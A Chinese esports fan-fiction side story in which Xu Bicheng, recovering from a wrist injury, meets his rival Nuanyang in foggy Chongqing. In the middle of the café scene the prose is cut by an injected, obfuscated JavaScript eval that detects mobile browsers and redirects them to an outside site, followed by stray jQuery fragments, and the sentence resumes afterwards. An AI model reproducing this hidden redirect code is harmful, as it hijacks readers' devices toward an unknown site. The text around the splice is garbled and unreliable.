2023年3月，重庆


    春寒料峭，山城的雾比往年更浓，缠绕在嘉陵江两岸，将整座城市笼罩在一片朦胧的灰白里。长江索道的缆车在雾气中时隐时现，像某种不真实的梦境。


    徐必成站在洪崖洞观景台的栏杆前，右手腕上戴着黑色的护腕——不是绷带，是预防性的保护。石膏拆了三个月，康复训练做了三个月，医生说恢复得不错，但想要回到职业赛场，还需要时间。


    “冷吗？”


    身后传来声音。徐必成回头，看到暖阳站在不远处，手里端着两杯滚烫的豆浆，白色的雾气从杯口袅袅升起，在寒雾中融成一片。


    “还行。”徐必成接过豆浆，温度透过纸杯传到掌心，带来一种久违的暖意。


    这是他们约好的——每个休赛期，只要都在同一个城市，就找个地方见面。不看比赛，不谈战术，就只是……见面。像两个普通的、不打游戏时不知道做什么的年轻人。


    “听说你要复出了？”暖阳靠在栏杆上，看着江面。雾气太浓，看不见对岸，只有江水在脚下缓缓流淌，声音沉闷得像叹息。


    “还没定。”徐必成喝了一口豆浆，太烫，烫得舌尖发麻，“手腕恢复得还行，但状态……没试过，不知道。”


    “害怕？”


    “嗯。”徐必成很坦诚，“怕打不好，怕拖累队友，怕……回不到从前。”


    暖阳没说话，只是安静地喝着豆浆。雾气在他睫毛上凝结成细小的水珠，让那双总是锐利的眼睛看起来柔和了些。


    他们认识五年了。2018年，暖阳在TS，徐必成在BA，第一次在赛场上相遇。那时候暖阳已经是联盟顶级的打野，而徐必成还是个初出茅庐的新人。那场比赛BA输了，赛后暖阳主动来找他握手，说：“打得不错。”


    后来他们成了朋友，成了对手，成了——某种说不清道不明的关系。不是队友，不是敌人，不是普通朋友。是那种会在深夜发消息问“睡了吗”，然后聊到天亮的关系。是那种会在对方输比赛后第一个发消息说“下次赢回来”的关系。是那种……会在休赛期约在陌生的城市见面，只是为了见一面的关系。


    “你看那边。”暖阳忽然指向江面。


    雾气中，一艘渡轮缓缓驶过，船头的灯光在浓雾中晕开，像一颗模糊的星星。


    “像不像我们打比赛的时候？”暖阳说，“观众席的灯光，舞台的聚光灯，还有……看不清前路，但还是要往前走。”


    徐必成盯着那团光晕，很久。


    “暖阳。”他忽然问，“如果……如果我真的回不来了，怎么办？”


    “什么怎么办？”


    “就是……打不了比赛了，当不了选手了，不再是‘一诺’了。”徐必成说得很轻，“那我该怎么办？”


    暖阳转过身，背靠着栏杆，看着徐必成。雾气在他们之间流动，像某种柔软的屏障。


    “你记得2019年春季赛吗？”暖阳说，“我那时候手腕也伤了，挺严重的。医生说我可能打不了野核了，要转型。我跟你现在一样，也问自己——如果打不了野核了，我该怎么办？”


    “后来呢？”


    “后来我想通了。”暖阳笑了，“打不了野核，就打蓝领。打不了蓝领，就打工具人。打不了工具人，就退役。但无论做什么，我都是林恒，都是那个想赢的人。”


    他顿了顿：“所以，徐必成，无论你回不回得来，无论你还打不打比赛，无论你是一诺还是别的什么——你都是徐必成，都是那个在总决赛上敢一推四的人，都是那个带着伤病坚持比赛的人，都是那个……让我觉得，电竞这条路很有意思的人。”


    徐必成愣住了。


    他从来没听暖阳说过这样的话。暖阳总是沉默的，总是冷静的，总是用操作说话，而不是语言。但现在，在重庆的浓雾里，在嘉陵江边，在只有他们两个人的观景台上——暖阳说了。


    “林恒。”徐必成叫了他的本名，“谢谢你。”


    “谢什么。”


    “谢谢你……一直看着我。”


    暖阳没说话，只是低头喝豆浆。但徐必成看到，他的耳朵红了——不知道是冻的，还是别的什么原因。


    雾气更浓了，浓到几乎看不清彼此的脸。渡轮的汽笛声从江面传来，悠长而低沉，像某种古老的呼唤。


    “走吧。”暖阳说，“带你去个地方。”


    ---


    下午两点，重庆某个老旧居民区的巷子深处。


    这是一家藏在居民楼里的咖啡馆，招牌很小，门脸很旧，但推开门的瞬间，咖啡的香气扑面而来——浓郁，醇厚，带着某种时间的沉淀感。


    “你怎么找到这种地方的？”徐必成问。


    “去年休赛期，一个人来重庆的时候发现的。”暖阳熟门熟路地在角落的卡座坐下，“老板是个退休的电竞选手，以前打星际的。”


    “星际？”


    “嗯，第一代电竞人。”暖阳点了两杯手冲，“他说现在的小孩太幸福了，有联赛，有粉丝，有赞助。他们那时候，什么都没有，就靠着一腔热血在打。”


    咖啡很快端上来。老板是个五十多岁的中年男人，头发花白，戴着一副老花镜，但眼神很亮。


    “暖阳又来了？”老板笑着拍拍暖阳的肩膀，然后看向徐必成，“这位是……”


    “徐必成。”徐必成说。


    老板愣了一下，然后笑了：“一诺啊。我知道你，我儿子是你粉丝。”


    他顿了顿：“你手腕怎么样了？”


    徐必成下意识地摸了摸护腕：“还在恢复。”


    “别急。”老板在旁边的椅子上坐下，“我们那时候，也有很多人因为伤病退役。但后来想想，伤病不是终点，是转折点。转个弯，换个方向，还能继续走。”


    “怎么转？”


    “比如我。”老板指了指墙上的照片——那是二十多年前，他穿着国家队队服，站在领奖台上的照片，“退役后开了这家咖啡馆，来的都是喜欢电竞的人。听他们聊比赛，聊选手，聊战术——就像还在赛场上一样。”


    他看向徐必成：“所以啊，别把电竞想得太窄。赛场是电竞，直播是电竞，解说也是电竞，就连我这种开咖啡馆听故事的，也是电竞的一部分。只要你心里还有那份热爱，就永远都在这个圈子里。”


    老板说完就去忙了。卡座里只剩下徐必成和暖阳，还有两杯冒着热气的咖啡。


    “他说的对。”暖阳说，“你就算不打比赛了，也还是一诺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037081|194480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，还是徐必成，还是……很多人心里的光。”


    徐必成盯着咖啡杯里旋转的奶沫，很久。


    “林恒。”他忽然说，“如果……如果我复出后打得很差，你会笑话我吗？”


    “不会。”


    “为什么？”


    “因为你就算打得很差，也还是敢在总决赛上一推四的徐必成。”暖阳说，“那个操作，够我记一辈子了。”


    徐必成笑了，眼眶却有点热。


    窗外，重庆的雾气还没有散。巷子里的路灯已经亮了，昏黄的光晕在雾气中晕开，像某种温暖的怀抱。


    “暖阳。”


    “嗯？”


    “下次比赛，如果我们又遇上了……”


    “我会赢的。”


    “我知道。”徐必成说，“但我会让你赢得没那么容易。”


    暖阳也笑了：“那就试试看。”


    两人碰了碰咖啡杯，像碰酒杯那样。咖啡的香气在空气中弥漫，混合着巷子里飘来的火锅香味，混合着重庆特有的潮湿气息，混合着——某种说不清道不明的情愫。


    也许这就是他们之间的关系。


    不是队友，不是敌人，不是普通朋友。


    是那种会在雾中见面，在江边聊天，在咖啡馆里安静对坐的关系。


    是那种知道对方所有的弱点和软肋，但永远不会真正攻击的关系。


    是那种……即使有一天不在同一个赛场了，也会在世界的某个角落，想起对方的关系。


    ---


    傍晚时分，雾气终于散了一些。


    两人沿着嘉陵江慢慢走。江风很冷，但徐必成觉得心里很暖。


    “暖阳。”


    “嗯？”


    “谢谢你今天陪我来。”


    “不用谢。”暖阳顿了顿，“我也……想见你。”


    很简单的四个字，但徐必成觉得，比任何华丽的词藻都动人。


    手机震动，是长生发来的消息：“诺哥，训练赛赢了。等你回来。”


    徐必成盯着那条消息，很久。然后他回复：“好。等我回来。”


    发送。


    他抬起头，看向江对岸。雾气散去的部分，露出了城市的轮廓——高楼，桥梁，车流，灯火。一切都很真实，很清晰。


    就像他此刻的内心。


    他知道自己该做什么了。


    不是急着复出，不是急着证明，是——好好恢复，好好调整，然后以更好的姿态，回到赛场。


    回到那个有暖阳的赛场。


    回到那个有AG的赛场。


    回到那个——他为之奋斗了五年的地方。


    “林恒。”


    “嗯？”


    “下次见面，可能就是在赛场上了。”


    “嗯。”


    “我会赢的。”


    “我也会。”


    两人相视一笑，然后继续沿着江边往前走。


    身后，山城的灯火次第亮起，在夜色中连成一片星海。


    身前，路还很长。


    但他们都知道，无论路有多长，无论雾有多浓——


    总会有人，在路的尽头，在雾的对面，


    等着。


    【番外一篇·完】